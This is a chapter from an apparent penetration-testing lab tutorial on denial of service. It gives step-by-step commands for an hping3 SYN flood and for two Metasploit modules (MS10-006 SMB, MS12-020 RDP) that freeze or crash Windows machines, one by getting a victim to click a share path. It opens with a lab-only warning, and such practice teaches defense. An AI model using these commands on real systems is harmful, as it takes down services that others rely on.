9. Denial of Service

Note:
Denial of Service (DOS) attacks are potentially dangerous and can cause severe availability issues. Performing DOS attacks on any domain, sub domain, website or any other servers could lead you to legal trouble. It is highly advisable to do the complete practice in your own network and in virtual environment.

Practical 1: SYN Flooding Attack using HPING3

1. We need a victim http server for demonstration. We can take help of metasploitable machine. Start the metasploitable machine and check the IP address of it.

2. Enter that metasploitable IP in browser and check the availability of the web server. It should work perfectly fine without any issues.

3. Now open terminal in Kali Linux and enter following command:

```
hping3 -S –-flood <target IP>
```

For example:

```
hping 3 -S —flood 192.168.0.130
```

4. Wait for some time and then check the availability of the web server in the browser and you will notice the web site won’t be able to get loaded.

5. Stop the attack by hitting ctrl+c in terminal and then refresh the website in the browser and you will notice that it gets to normal and works perfectly fine.

Practical 2: MS10-006 Auxiliary from Metasploit for Windows Servers

1. Start Metasploit Framework.
2. In msf> enter command:
search ms10-006
3. To select the auxiliary, enter command:
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
4. Set all required options
show options (To see available options)
set SRVHOST <Your Kali IP>
5. exploit
6. Once you run this, you can share something like following:

\\<Attacker IP>\Shared\Anything

For example:

\\192.168.0.99\Shared\Anything

If the victim clicks on that then his entire system freezes and nothing can be done on that. Only technique to get back to normal could be restarting the machine.

Practical 3: MS12-020 Auxiliary from Metasploit for Windows Servers

Note:
Remote Desktop service must be enabled on the target windows server.

1. Start Metasploit Framework.
2. In msf> enter command:
search ms12-020
3. To select the auxiliary, enter command:
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
4. Set all required options
show options (To see available options)
set RHOST <Target IP>
5. exploit

Once you run the exploit command, it causes BSOD (Blue Screen of Death) on the victim's machine.
For DOS, there are several other tools available in marker like BanglaDOS, LOIC (Low Orbit ION Cannon), HOIC (High Orbit ION Cannon) etc.